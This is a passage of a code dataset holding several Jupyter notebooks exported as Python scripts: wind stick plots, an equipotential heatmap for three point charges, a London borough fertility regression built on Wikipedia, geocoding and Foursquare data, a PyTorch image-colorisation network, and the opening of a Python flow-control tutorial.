[[0]*len(time)] , u_max, v_max, angles='uv', **props)\nplt.xticks(rotation=70)\nax.axes.yaxis.set_visible(False)\nplt.title('Gust wind');\n\n# +\n# Stick plots of rolling average\n\n# Calculate wind components from speed and metereological wind direction (wind from direction)\nu_mean = -wsp_mean * np.sin(np.radians(wdir_mean))\nv_mean = -wsp_mean * np.cos(np.radians(wdir_mean))\n\n# Calculate rolling average of wind components\nu_mean_roll=bn.move_mean(u_mean, window=61) # Returns same length with NaNs at beginning\nv_mean_roll=bn.move_mean(v_mean, window=61)\n\n# Get hourly samples: Start at 60 and grab every 60 values since samples are on the minute\nu_mean_hourly=u_mean_roll[60::60] \nv_mean_hourly=v_mean_roll[60::60]\ntime_hourly=time[60::60]\n\nprops = {'units' : \"dots\",\n 'width' : 0.3,\n 'headwidth': 0,\n 'headlength': 0,\n 'headaxislength': 0,\n 'scale' : .08\n }\nfig, ax = plt.subplots(figsize=(18, 5))\nqiv = ax.quiver(time_hourly, [[0]*len(time_hourly)] , u_mean_hourly, v_mean_hourly, angles='uv', **props)\nfig.autofmt_xdate()\nax.axes.yaxis.set_visible(False)\nplt.title('Mean wind \"to direction\"')\nplt.savefig(figpath1149+'1149_StickRollAvg_Mean')\n\n# Calculate wind components from speed and metereological wind direction (wind from direction)\nu_max = -wsp_max * np.sin(np.radians(wdir_max))\nv_max = -wsp_max * np.cos(np.radians(wdir_max))\n\n# Calculate rolling average of wind components\nu_max_roll=bn.move_mean(u_max, window=61) # Returns same length with NaNs at beginning\nv_max_roll=bn.move_mean(v_max, window=61)\n\n# Get hourly samples: Start at 60 and grab every 60 values since samples are on the minute\nu_max_hourly=u_max_roll[60::60] \nv_max_hourly=v_max_roll[60::60]\ntime_hourly=time[60::60]\n\nprops = {'units' : \"dots\",\n 'width' : 0.3,\n 'headwidth': 0,\n 'headlength': 0,\n 'headaxislength': 0,\n 'scale' : .08\n }\nfig, ax = plt.subplots(figsize=(18, 5))\nqiv = ax.quiver(time_hourly, [[0]*len(time_hourly)] , u_max_hourly, v_max_hourly, angles='uv', **props)\nfig.autofmt_xdate()\nax.axes.yaxis.set_visible(False)\nplt.title('Gust wind \"to direction\"');\nplt.savefig(figpath1149+'1149_StickRollAvg_Gust')\n# -\n\n\n","repo_name":"odemeo-usgs/projects","sub_path":"DUNEX/Dunex_Plots_2021.ipynb","file_name":"Dunex_Plots_2021.ipynb","file_ext":"py","file_size_in_byte":7045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"43955972367","text":"import numpy as np\nimport seaborn as sns\nimport random as random\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nsns.set()\n\n# +\n#Next project: Consider three positive charges at three corners of an equilateral triangle. \n#Make a contour plot and heatmap of their equipotential surfaces.\n\n# +\n# https://seaborn.pydata.org/examples/index.html\n\n# +\n# k=1,d=1,q=1\n# -\n\nXx=int(input(\"Enter the x-coordinate of first point as:\"))\nXy=int(input(\"Enter the y-coordinate of first point as:\"))\nd=int(input(\"Enter the side length d:\"))\n\n# +\n## Drawing the equilateral triangle\n\nX=[Xx,Xy]\ndef EqT(X,d):\n Y=[Xx+d,Xy]\n M = [(Xx+Y[0])/2, (Xy+Y[1])/2 ] # Mid point\n O = [(Xx-M[0])*3**0.5, (Xy-M[1])*3**0.5] # Map to origin, multiply sqrt(3)\n M[0]+O[1],M[1]-O[0] # Rotate 90 (y,-x), map back\n Z= [M[0]-O[1], (M[1]+O[0])] # Rotate -90 (-y,x), map back\n return Y,Z\nY,Z=EqT(X,d)\nprint(\"The first point on the equilateral triangle was entered as\",X)\nprint(\"The second point on the equilateral triangle is\",Y)\nprint(\"The third point on the equilateral triangle is\",Z)\n# -\n\nlist=[X,Y,Z]\ncol=['r','b','g']\nplt.figure(figsize=(10,8))\nplt.title(label=\"Charge Configuration\", loc='center')\na=0\nfor item in list:\n plt.scatter(item[0],item[1],c=col[a])\n a=a+1\n\n\n#Assigning the equilateral triangle\n(X,Y,Z)=([2, 1], [3, 1], [2.5, 0.1339745962155614])\n\nX[0],X[1]\n\n#Charges\nqx=1\nqy=1\nqz=1\n\n\nclass Charge:\n \n def __init__(self, q, pos):\n self.q = q\n self.pos = pos\n \n \n def line(self, x,y):\n #create a vector from charge to observation point\n self.vector = [x-self.pos[0],y-self.pos[1]]\n #norm of the vector\n self.norm = np.sqrt((self.vector[0])**2+(self.vector[1])**2)\n \n \n def V_point_charge(self, x, y):\n #recall length\n self.line(x,y)\n \n if self.norm > 0:\n self.V = self.q/self.norm\n \n #if length is zero, set V equal to 0\n elif self.norm == 0:\n self.V = 0\n \n return self.V\n \n\neqch=[Charge(qx,X),Charge(qy,Y),Charge(qz,Z)] \neqch\n\n\n#Total potential at a point(x,y) due to charges\ndef V_total(x, y, charges):\n V = 0\n for C in charges:\n Vp = C.V_point_charge(x, y)\n V = V+Vp\n return V\n\n\n#Total potential at (1.7,1.8) due to charges \nV_total(x=1.7, y=1.8, charges = eqch)\n\n# +\n#Electric potential at different points on 2D grid\n'''Create X and Y coordinates'''\nXp = np.arange(1,4,0.1)\nYp = np.arange(-0.5,2.5,0.1)\n\n'''Initiate vacant V-list of list'''\nV = [[0.0 for i in range(len(Xp))] for j in range(len(Yp))]\n\n'''Calculate Electric potential at each pair of x,y coordinates'''\nfor i,x in enumerate(Xp):\n for j,y in enumerate(Yp):\n v = V_total(x, y,charges=eqch)\n V[i][j] = v \n\n# -\n\n# # Contour plot\n\n'''fig, ax = plt.subplots()\nCS = ax.contour(Xp, Yp, V)\nax.clabel(CS, inline=1, fontsize=10)\nax.set_title('Simplest default with labels')'''\n\nevenlvls=np.arange(2,14,2)\nevenlvls\n\n#Matplotlib contour plot\nplt.figure(figsize = [15,10])\nCS= plt.contour(Xp,Yp,V,linewidths=0.5,levels=[ 2, 3, 4, 5, 6, 8, 10, 12])\n# Label contours\nplt.clabel(CS, inline=1, fontsize=10)#,manual=[(1.5,1.5),(1.5,1),(2.25,0.5),(2.65,0.5),(2.5,1.5),(2,2),(3,2)])\n\ntype(V) # we need to convert it to array before drawing heatmap\n\n# +\n#V\n# -\n\n# # Heatmap\n\n# +\n#Setting up the axis labels\nXticks=[1. , 1.05, 1.1 , 1.15, 1.2 , 1.25, 1.3 , 1.35, 1.4 , 1.45, 1.5 ,\n 1.55, 1.6 , 1.65, 1.7 , 1.75, 1.8 , 1.85, 1.9 , 1.95, 2. , 2.05,\n 2.1 , 2.15, 2.2 , 2.25, 2.3 , 2.35, 2.4 , 2.45, 2.5 , 2.55, 2.6 ,\n 2.65, 2.7 , 2.75, 2.8 , 2.85, 2.9 , 2.95, 3. , 3.05, 3.1 , 3.15,\n 3.2 , 3.25, 3.3 , 3.35, 3.4 , 3.45, 3.5 , 3.55, 3.6 , 3.65, 3.7 ,\n 3.75, 3.8 , 3.85, 3.9 , 3.95]\n\n#we can do Xticks[::-1]to reverse the Xticks list, creating a copy\n\n\n# +\n#Electric potential at different points on 2D grid\n'''Create X and Y coordinates'''\nXp = np.arange(1,4,0.05)\nYp = np.arange(-0.5,2.5,0.05)\n\n'''Initiate vacant V-list of list'''\nV = [[0.0 for i in range(len(Xp))] for j in range(len(Yp))]\n\n'''Calculate Electric potential at each pair of x,y coordinates'''\nfor i,x in enumerate(Xp):\n for j,y in enumerate(Yp):\n v = V_total(x, y,charges=eqch)\n V[i][j] = v \n\n\n# +\nV = np.array(V)\nplt.figure(figsize = [10,8])\nsns.heatmap(V,annot=False,robust=True,cmap='YlGnBu')#,xticklabels=Xticks)#,yticklabels=Yticks)\n \nplt.show()\n\n# +\n#V\n# -\n\nnp.arange(2,40,2)\n\n\n","repo_name":"gravitas21/Python-projects","sub_path":"Electromagnetism/Equipotential surfaces.ipynb","file_name":"Equipotential surfaces.ipynb","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"29222024431","text":"# ## Import modules\n\n# +\nimport numpy as np\n\nimport pandas as pd\nfrom pandas.io.json import json_normalize\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\npd.set_option('max_colwidth', 1600)\n\nimport re\nimport requests\n\n# Matplotlib and associated plotting modules\nimport matplotlib.cm as cm\nimport matplotlib.colors as colors\nimport matplotlib.pyplot as plt\n\n# #!conda install -c conda-forge folium=0.5.0 --yes\n#import folium # map rendering library\n\n# !conda install -c conda-forge geopy --yes\nimport geopy.geocoders # convert an address into latitude and longitude values\n# -\n\n# ## Areas of London\n\nareas_df = pd.read_html('https://en.wikipedia.org/wiki/List_of_areas_of_London', header=0)[1]\nareas_df.head()\n\n# ### Column names\n\nareas_df.columns = areas_df.columns.str.replace('[^a-zA-Z]', '_')\nareas_df.head()\n\n# ### Get rid of comments in London_borough column\n\nareas_df['London_borough'].replace(to_replace='\\[.*\\]' ,value='', inplace=True, regex=True)\nareas_df.head(10)\n\n# Now let's note that some locations belong to more than one borough, e.g., `Acton` belongs to boroughs `Ealing` and `Hammersmith and Fulham`. We want to break down such locations to separate entries, so we need to split `London_borough`. Looking at the wiki page, we see that we have following potential separators: `,`, `&`, `and`. Yet, some borough names sontain `and` word, so let's look at entries with `,`, `&`, `and` in `London_borough` column closer.\n\nareas_df[areas_df.London_borough.str.contains(',| and |&')]\n\n# The above shows that all `and`s are part of borough names (`Hammersmith and Fulham`, `Barking and Dagenham`, `Kensington and Chelsea`), except these two cases:\n# * `Camden and Islington`\n# * `Haringey and Barnet`\n#\n# Commas and ampersand (`Islington & City`), on the other hand, are indeed borough names separators, so let's do the split.\n\n# +\n# first fix \"Camden and Islington\" and \"Haringey and Barnet\"\nareas_df['London_borough'] = areas_df['London_borough'].str.replace('Camden and Islington', 'Camden,Islington')\nareas_df['London_borough'] = areas_df['London_borough'].str.replace('Haringey and Barnet', 'Haringey,Barnet')\n\n# then do the split\nareas_split_df = pd.DataFrame(columns=['Location', 'London_borough'])\nfor index, row in areas_df.iterrows():\n location = row['Location']\n boroughs = re.sub(\" *, *| +& +\", \",\", row['London_borough'])\n if \",\" in boroughs:\n for borough in boroughs.split(\",\"):\n areas_split_df = areas_split_df.append({'Location': location + \" (\" + borough + \")\", 'London_borough': borough}, ignore_index=True)\n else:\n areas_split_df = areas_split_df.append({'Location': location, 'London_borough': boroughs}, ignore_index=True)\nareas_split_df.head(10)\n# -\n\n# Do we have duplicate location names?\n\nduplicates = areas_split_df['Location'].duplicated(keep=False) == True\nareas_split_df[duplicates]\n\n# Let's fix those duplicates.\n\nfor loc in areas_split_df[areas_split_df['Location'].duplicated(keep=False) == True]['Location'].index:\n areas_split_df.loc[loc, 'Location'] = areas_split_df.loc[loc, 'Location'] + ' (' + areas_split_df.loc[loc, 'London_borough'] + ')'\nareas_split_df[duplicates]\n\n# ## London boroughs from Wikipedia\n\nboroughs_df = pd.read_html('https://en.wikipedia.org/wiki/List_of_London_boroughs', header=0, encoding = 'utf-8-sig')[0]\nboroughs_df.head(10)\n\n# Let's do some clean-up\n\n# first remove notes from borough names\nboroughs_df['Borough'].replace(to_replace='\\[note.*$' ,value='', inplace=True, regex=True)\nboroughs_df['Borough'] = boroughs_df['Borough'].str.strip()\nboroughs_df.head(10)\n\n# next add population density\nboroughs_df['Population density (ppl/sq. ml)'] = (boroughs_df['Population (2013 est)[1]'] / boroughs_df['Area (sq mi)']).round(2)\nboroughs_df.head()\n\n# remove junk from coordinates\nboroughs_df['Co-ordinates'].replace(to_replace=['^.*/ ', ' \\(.*'] ,value=['', ''], inplace=True, regex=True)\nboroughs_df.head()\n\n# and split coordinates\nboroughs_df[['Latitude', 'Longtitude']] = boroughs_df['Co-ordinates'].str.split('; ', expand=True)\n# remove BOM and convert to float\nboroughs_df['Latitude'] = boroughs_df['Latitude'].str.replace('\\ufeff', '').astype(float)\nboroughs_df['Longtitude'] = boroughs_df['Longtitude'].str.replace('\\ufeff', '').astype(float)\nboroughs_df.head()\n\n# leave only needed columns\nboroughs_df = boroughs_df[['Borough', 'Latitude', 'Longtitude', 'Population density (ppl/sq. ml)']]\nboroughs_df.head()\n\n# ## Check validity of boroughs in areas dataframe\n\nboroughs = boroughs_df['Borough'].tolist()\nboroughs.append('City') # The City of London is the 33rd principal division of Greater London but it is not a London borough.\nfor index, row in areas_split_df.iterrows():\n borough = row['London_borough']\n if not borough in boroughs:\n print('Warning: \"%s\" is invalid borough' % borough)\n\n# `Dartford` formally belongs to Kent, not London. Let's drop invalid entry.\n\nareas_split_df = areas_split_df[areas_split_df['London_borough'] != \"Dartford\"]\n\n# ## GFR (General fertility rate) dataset\n\ngfr_df = pd.read_csv('https://raw.githubusercontent.com/alllexx88/Coursera_Capstone/94e04598753242c7970d559ed4db92889100ae95/london-births-fertility-rates-borough-2017.csv')\nprint('dataset shape:', gfr_df.shape)\ngfr_df.head()\n\n# Let's check validity of borough names, like we did for areas dataset.\n\nfor index, row in gfr_df.iterrows():\n borough = row['Borough']\n if not borough in boroughs:\n print('Warning: \"%s\" is invalid borough' % borough)\n\n# Looks like `Hackney` and `City of Londond` are counted as one in the birth-rate dataset, hence let's rename `Hackney` and `City` boroughs to `Hackney and City of London` in the areas dataset. While we're at it, let's rename column `London_borough` to `Borough`, for future joining.\n\nareas_split_df.rename(index=str, columns={'London_borough': 'Borough'}, inplace=True)\nareas_split_df['Borough'] = areas_split_df['Borough'].str.replace('City|Hackney', 'Hackney and City of London')\nareas_split_df[areas_split_df['Borough'] == 'Hackney and City of London']\n\n\n# ## Areas coordinates using geopy\n\ndef retrieve_geocode_london(location_string):\n import geopy.geocoders\n geopy.geocoders.options.default_user_agent = \"my-application\"\n geolocator = geopy.geocoders.Yandex()\n location = None\n address = location_string + ', London, UK'\n while location is None:\n location = geolocator.geocode(address)\n return location.latitude, location.longitude\n\n\n# +\n# this csv was generated by repeatedly calling the cycle below: load it for faster execution\nareas_coord_df = pd.read_csv('https://raw.githubusercontent.com/alllexx88/Coursera_Capstone/d29b5662742e07d974da60abd3afbfd0f0c62ff1/london-locations-coord.csv')\n\n# join with main areas dataframe\nareas_split_df = pd.merge(areas_split_df, areas_coord_df, how='left', on='Location')\n\ndf_len = areas_split_df.shape[0]\nfor i, j in enumerate(areas_split_df.iterrows()):\n index = j[0]\n row = j[1]\n if (not 'Latitude' in areas_split_df.columns) or np.isnan(areas_split_df.loc[index, 'Latitude']):\n latitude, longtitude = retrieve_geocode_london(row['Location'])\n areas_split_df.loc[index, 'Latitude'] = latitude\n areas_split_df.loc[index, 'Longtitude'] = longtitude\n if (i + 1) % 10 == 0:\n print('{}/{} completed - {}'.format(i + 1, df_len, row['Location']))\n# -\n\nareas_split_df.tail(10)\n\n# ## POIs (places of interest) for each London location\n\n# +\n# The code was removed by Watson Studio for sharing.\n# -\n\nVERSION = '20180605' # Foursquare API version\nLIMIT = 100\n\n\ndef getNearbyVenueCategories(names, latitudes, longtitudes, radius=500):\n count_len = names.shape[0]\n venues_list=[]\n for i, j in enumerate(zip(names, latitudes, longtitudes)):\n name = j[0]\n lat = j[1]\n lng = j[2]\n \n # create the API request URL\n url = 'https://api.foursquare.com/v2/venues/explore?&client_id={}&client_secret={}&v={}&ll={},{}&radius={}&limit={}'.format(\n CLIENT_ID, \n CLIENT_SECRET, \n VERSION, \n lat, \n lng, \n radius, \n LIMIT)\n # make the GET request\n try:\n results = requests.get(url).json()[\"response\"]['groups'][0]['items']\n # return only relevant information for each nearby venue\n venues_list.append([(\n name, \n lat, \n lng, \n v['venue']['name'], \n v['venue']['location']['lat'], \n v['venue']['location']['lng'], \n re.search('categories_v2/(.*)/', v['venue']['categories'][0]['icon']['prefix'], re.IGNORECASE).group(1)) for v in results]) \n except:\n venues_list.append([(\n name, \n lat, \n lng, \n np.nan, \n np.nan, \n np.nan, \n np.nan)])\n if (i + 1) % 50 == 0:\n print('{} of {} completed'.format(i + 1, count_len))\n \n \n\n\n nearby_venues = pd.DataFrame([item for venue_list in venues_list for item in venue_list])\n nearby_venues.columns = ['Neighborhood', \n 'Neighborhood Latitude', \n 'Neighborhood Longitude', \n 'Venue', \n 'Venue Latitude', \n 'Venue Longitude', \n 'Venue Category']\n \n return(nearby_venues)\n\nvenues_df = getNearbyVenueCategories(names=areas_split_df['Location'],\n latitudes=areas_split_df['Latitude'],\n longtitudes=areas_split_df['Longtitude'],\n radius=1000\n )\nprint('Shape: {}'.format(venues_df.shape))\nvenues_df.head(10)\n\n# One-hot encode venues dataframe.\n\n# +\nvenues_onehot_df = pd.get_dummies(venues_df[['Venue Category']], prefix=\"\", prefix_sep=\"\")\n\n# add neighborhood column back to dataframe\nvenues_onehot_df['Neighborhood'] = venues_df['Neighborhood'] \n\n# move neighborhood column to the first column\nvenues_onehot_df = venues_onehot_df[[venues_onehot_df.columns[-1]] + list(venues_onehot_df.columns[:-1])]\n\nvenues_onehot_df.head()\n# -\n\n# Group venues by neighborhood and sum over categories.\n\nvenues_grouped_df = venues_onehot_df.groupby('Neighborhood').sum().reset_index()\nvenues_grouped_df.head()\n\n# ## Merge areas and venues dataframes and group by boroughs\n\njoint_boroughs_df = pd.merge(areas_split_df, venues_grouped_df, left_on = 'Location', right_on = 'Neighborhood', how='inner')\njoint_boroughs_df.drop(['Neighborhood', 'Location', 'Latitude', 'Longtitude'], axis=1, inplace=True)\njoint_boroughs_df = joint_boroughs_df.groupby('Borough').sum().reset_index()\njoint_boroughs_df\n\n# Add in population density\n\njoint_boroughs_df['population_density'] = boroughs_df['Population density (ppl/sq. ml)']\njoint_boroughs_df\n\n# ## Merge with GFR dataframe\n\njoint_boroughs_df = pd.merge(joint_boroughs_df, gfr_df, how='inner', on='Borough')\njoint_boroughs_df\n\n# ## Regression models\n\njoint_boroughs_X = joint_boroughs_df[joint_boroughs_df.columns[1:-1]]\njoint_boroughs_Y = joint_boroughs_df['GFR']\n\n# Import modules\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.decomposition import PCA\nfrom sklearn.linear_model import Ridge\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.metrics import mean_squared_error as MSE\nfrom sklearn.metrics import r2_score as R2\nfrom sklearn.svm import SVR\n\n# Train/test split\n\nX_train, X_test, y_train, y_test = train_test_split(joint_boroughs_X, joint_boroughs_Y, test_size=0.2, random_state=1)\n\n# Linear and SVR pipelines\n\n# +\npipe_lr = Pipeline([\n ('scale', StandardScaler()),\n ('pca', PCA(n_components=5)),\n ('regr', Ridge(alpha=50))])\n\npipe_sv = Pipeline([\n ('scale', StandardScaler()),\n ('pca', PCA(n_components=5)),\n ('regr', SVR(C=1000, gamma=0.1, epsilon=0.1))])\n# -\n\n# ### Grid search Ridge pipeline\n\n# +\nparameters_lr = dict(regr__alpha = np.linspace(1, 100))\n\ngrid_lr = GridSearchCV (pipe_lr, parameters_lr, cv=5, scoring='r2', return_train_score=False, verbose=1, n_jobs=-1)\n\ngrid_lr.fit(X_train, y_train)\n\nprint(\"Best alpha parameter found on training set:\")\nprint()\nprint(grid_lr.best_params_['regr__alpha'])\ncv_results = pd.DataFrame(grid_lr.cv_results_).sort_values(by=['mean_test_score'], ascending=False)\ncv_results.drop(list(cv_results.filter(regex = 'params|time|rank_test_score')), axis = 1, inplace = True)\ncv_results.head(8)\n# -\n\n# Let's check R2 score and RMSE on the test set.\n\n# +\ny_lr_pred = grid_lr.predict(X_test)\n\nprint('Linear regression RMSE: {} live births per 1,000 women aged 15-44'.format(np.sqrt(MSE(y_test, y_lr_pred)).round(2)))\nprint('Linear regression R2 score: {}'.format(np.sqrt(R2(y_test, y_lr_pred)).round(2)))\n# -\n\n# London has GFR of 62.9 ([see here](https://data.london.gov.uk/dataset/births-and-fertility-rates-borough)), hence RMSE of 7.73 is approximately 12.29% error.\n\n# ### SVR randomized parameters search\n\n# +\nparameters_sv = dict(regr__C = np.linspace(0.1, 1000, 10000),\n regr__gamma = np.linspace(0.1,1000,10000),\n regr__epsilon = np.linspace(0.0001,1,10000))\n\nrand_sv = RandomizedSearchCV(pipe_sv, param_distributions=parameters_sv, cv=5, random_state=1,\n scoring='r2', return_train_score=False, n_iter=10000, verbose=1, n_jobs=-1)\nrand_sv.fit(X_train, y_train)\n\nprint(\"Best parameters found on training set:\")\nprint()\nprint('C={}, gamma={}, epsilon={}'.format(rand_sv.best_params_['regr__C'],\n rand_sv.best_params_['regr__gamma'],\n rand_sv.best_params_['regr__epsilon']))\n\ncv_results = pd.DataFrame(rand_sv.cv_results_).sort_values(by=['mean_test_score'], ascending=False)\ncv_results.drop(list(cv_results.filter(regex = 'params|time|rank_test_score')), axis = 1, inplace = True)\ncv_results.head(8)\n# -\n\n# R2 score and RMSE on the test set.\n\n# +\ny_sv_pred = rand_sv.predict(X_test)\n\nprint('SVR RMSE: {} live births per 1,000 women aged 15-44'.format(np.sqrt(MSE(y_test, y_sv_pred)).round(2)))\nprint('SVR R2 score: {}'.format(np.sqrt(R2(y_test, y_sv_pred)).round(2)))\n# -\n\n# London has GFR of 62.9 ([see here](https://data.london.gov.uk/dataset/births-and-fertility-rates-borough)), hence RMSE of 6.19 is approximately 9.84% error.\n","repo_name":"alllexx88/Coursera_Capstone","sub_path":"BattleOfNeighborhoods.ipynb","file_name":"BattleOfNeighborhoods.ipynb","file_ext":"py","file_size_in_byte":14713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"39165219382","text":"# + _uuid=\"8f2839f25d086af736a60e9eeb907d3b93b6e0e5\" _cell_guid=\"b1076dfc-b9ad-4769-8c92-a6c4dae69d19\"\n# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nimport os\nprint(os.listdir(\"../input\"))\n\n# Any results you write to the current directory are saved as output.\n\n# + _cell_guid=\"79c7e3d0-c299-4dcb-8224-4455121ee9b0\" _uuid=\"d629ff2d2480ee46fbb7e2d37f6b5fab8052498a\"\nim_gray=np.load('../input/l/gray_scale.npy')\nim_lab=np.load('../input/ab/ab/ab1.npy')\nim_gray.astype('float32')\nim_lab.astype('float32')\n\n# + _uuid=\"107cd8c84b26f2926d34f7f2391b8f086929d374\"\nprint(im_lab.shape)\n\n# + _uuid=\"5eb4adc64f5d3a499e9c8bad8a82790b030194f1\"\nprint(im_gray.shape)\n\n# + _uuid=\"d359f501f36663ecb925eaf1b50e91af9ddd4024\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nfrom skimage.color import lab2rgb\n\n# + _uuid=\"a799f85eaba25e6825a6c9a2e3d402956aac5ca9\"\nimgg=np.zeros((224,224,3))\nimgg[:,:,0]=im_gray[2000]\nimggr=lab2rgb(imgg)\nplt.imshow(imggr)\n\n# + _uuid=\"9e057767cad374c0b54b651694f99acaa5069b4c\"\nimg1=np.zeros((224,224,3))\nimg1[:,:,0]=im_gray[7000]\nimg1[:,:,1]=im_lab[7000,:,:,0]\nimg1[:,:,2]=im_lab[7000,:,:,1]\n\n# + _uuid=\"0d825cb2a4f13dc0de690b36f0303898c7a92e95\"\nimg1r=lab2rgb(img1)\nplt.imshow(img1r)\n\n\n# + _uuid=\"d32561c6cc89f34d292f998e784b9b4e10582c41\"\nclass convnet(nn.Module):\n def __init__(self):\n super(convnet,self).__init__()\n self.conv1=nn.Conv2d(1,4,kernel_size=5,padding=2)\n self.conv2=nn.Conv2d(4,16,kernel_size=5,padding=2)\n self.conv3=nn.Conv2d(16,64,kernel_size=5,padding=2)\n self.conv4=nn.Conv2d(64,128,kernel_size=5,padding=2)\n \n def forward(self,x):\n x=F.max_pool2d(F.relu(self.conv1(x)),2)\n x=F.max_pool2d(F.relu(self.conv2(x)),2)\n x=F.max_pool2d(F.relu(self.conv3(x)),2)\n x=F.relu(self.conv4(x))\n x=x.view(-1,224,224,2)\n return x\n\n\n# + _uuid=\"8f66bbb24277cf664803542ce2709ffd2c9d3d6a\"\nuse_gpu = torch.cuda.is_available()\nmodel=convnet()\nmodel.cuda()\n#model=model.double()\nerror=nn.L1Loss().cuda()\nlearning_rate=0.01\noptimizer=torch.optim.SGD(model.parameters(),lr=learning_rate)\n#scheduler=torch.optim.lr_scheduler.StepLR(optimizer,step_size=100,gamma=0.7)\n\n# + _uuid=\"c26d7f30c17c171f9531cb29d82a8bd5786b1b2c\"\nx=np.zeros((1000,224,224),dtype=np.float32)\ny=np.zeros((1000,224,224,2),dtype=np.float32)\nfor i in range(1000):\n x[i,:,:]=im_gray[i]\n y[i,:,:,:]=im_lab[i,:,:,:]\n\n# + _uuid=\"a7d98a0039dbc7131e56bc1299220113dac90ba8\"\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nn_iters=10000\nbatch_size=10\nnum_epochs=100\nx_tensor=torch.from_numpy(x).cuda()\ny_tensor=torch.from_numpy(y).cuda()\ntrain = torch.utils.data.TensorDataset(x_tensor,y_tensor)\ntrain_loader = torch.utils.data.DataLoader(train, batch_size = batch_size, shuffle = False)\n\n# + _uuid=\"8881e6828461f354056d3ada9a149c93b1197725\"\nmodel.train()\nfor i in range(num_epochs):\n print(\" \")\n print(\" \")\n print(\" \")\n for j,(g_img,t_img) in enumerate(train_loader):\n train=g_img.view(batch_size,1,224,224).cuda()\n labels=t_img.view(batch_size,224,224,2).cuda()\n #print(train.shape)\n #train=train.float()\n #labels=labels.float()\n train.requires_grad_(True)\n labels.requires_grad_(True)\n outputs=model(train)\n #print(labels.shape)\n #print(outputs.shape)\n loss=error(outputs,labels)\n optimizer.zero_grad()\n print(loss)\n loss.backward()\n optimizer.step()\n #scheduler.step()\n #for param in model.parameters():\n # print(param.grad.data.sum())\n\n# + _uuid=\"74f71f782200851efbadf02ccfa4e4b207224d2f\"\nx_test=np.zeros((224,224),dtype=np.float32)\nx_test=im_gray[3000]\nx_test_tensor=torch.from_numpy(x_test).cuda()\nx_test_tensor=x_test_tensor.float()\nx_test_tensor=x_test_tensor.view(1,1,224,224)\ny_test_tensor=model(x_test_tensor)\ny_testa=y_test_tensor.detach().cpu().numpy()\ny_test=np.zeros((224,224,3))\ny_test[:,:,0]=im_gray[3000]\ny_test[:,:,1]=y_testa[:,:,:,0]\ny_test[:,:,2]=y_testa[:,:,:,1]\ny_testr=lab2rgb(y_test)\nplt.imshow(y_testr)\n\n# + _uuid=\"25ea2fd1a4ab3aca012aab89da4cda6abf8ca637\"\n\n","repo_name":"Srijan1998/automatic-image-colorisation","sub_path":"kernel8e38ff790f.ipynb","file_name":"kernel8e38ff790f.ipynb","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"72669889646","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + [markdown] tags=[\"headers\"] id=\"iVdbER_6I0m4\"\n# \n#
\n#

Tutorial 3, Preparation: Python Flow Control

\n#

\n#

Propulsion Academy, 2021

\n#

\n#\n#
\n#
\n#

Goal: Learn the ins and out of if, for and while loops!

\n# Outline:\n# \n#
    \n#
  1. Introduction
  2. \n#
  3. Conditionals
  4. \n#
  5. Loops
  6. \n#
\n# Topics Trained: Python if, elif, else, for, while. range. break, continue, ...\n#
\n#
\n#\n# \n\n# + [markdown] id=\"wcbfDFT8I0nB\"\n# \n# ## [Introduction](#P0)\n\n# + [markdown] id=\"foSA45CdI0nC\"\n# Scripts are read by the computer from top to bottom. Line by line.\n# However, sometimes we want to skip a line or sometimes we want to do the same action over and over. This is where conditionals and loops come into play.\n\n# + [markdown] id=\"oypxJ-bRI0nC\"\n# \n# ## [Conditionals](#P0)\n\n# + [markdown] id=\"KC8-fEUHI0nD\"\n# ### The if/elif/else\n#\n# Very often you need to execute a statement only if a certain condition holds.\n# In Python you can achieve this with `if`, `elif`, and `else` clauses, which lets you conditionally execute blocks of statements.\n\n# + id=\"S1-IeSOXI0nE\" outputId=\"d4f70b22-7ee5-4297-a886-78c7b6c909da\"\nuser = 'admin'\nif user == 'admin':\n print('Hello admin')\nelif user == 'editor':\n print('Hello editor')\nelse:\n print('Hello user')\n\n# + [markdown] id=\"esVyGGETI0nF\"\n# In the example above, if the variable user holds the string 'admin', then the first block of code is executed. If not, then the second block of code is executed.\n# The conditional statement if `user == 'admin':` ends with the colon `:`, which means that the condition ends and that a block of code follows.\n# The block is the part of the code that is executed if the conditional is true. Blocks can be indented by any number of spaces or tabs, but all lines belonging to the same block need to be at the same indentation level. Most programmers use 4 spaces or 1 tab to indent blocks of code - and you should too.\n\n# + id=\"uZeoRBjgI0nG\" outputId=\"15d82eb7-dd7d-40ac-8ea1-6761ed3d367f\"\n# example of multiple commands belongs to the same block\nnumber_of_admins=0\nif user == 'admin':\n print('Hello Admin')\n number_of_admins = number_of_admins + 1;\n print('Total number of admins is {}'.format(number_of_admins))\n\n# + [markdown] id=\"Uq5YHfsZI0nH\"\n# Another example:\n\n# + id=\"lFaJBlNwI0nH\" outputId=\"98811dc9-cfb8-47be-94c5-c352a36a130f\"\nage = 24\nif age < 18:\n print(\"You are to young to drive\")\nelif 18 < age < 75:\n print(\"You can drive\")\nelse:\n print(\"You can drive but you must be very careful\")\n\n# + [markdown] id=\"BLeZtmApI0nI\"\n# Unlike most programming languages Python does not have a switch statement so you use `if`, 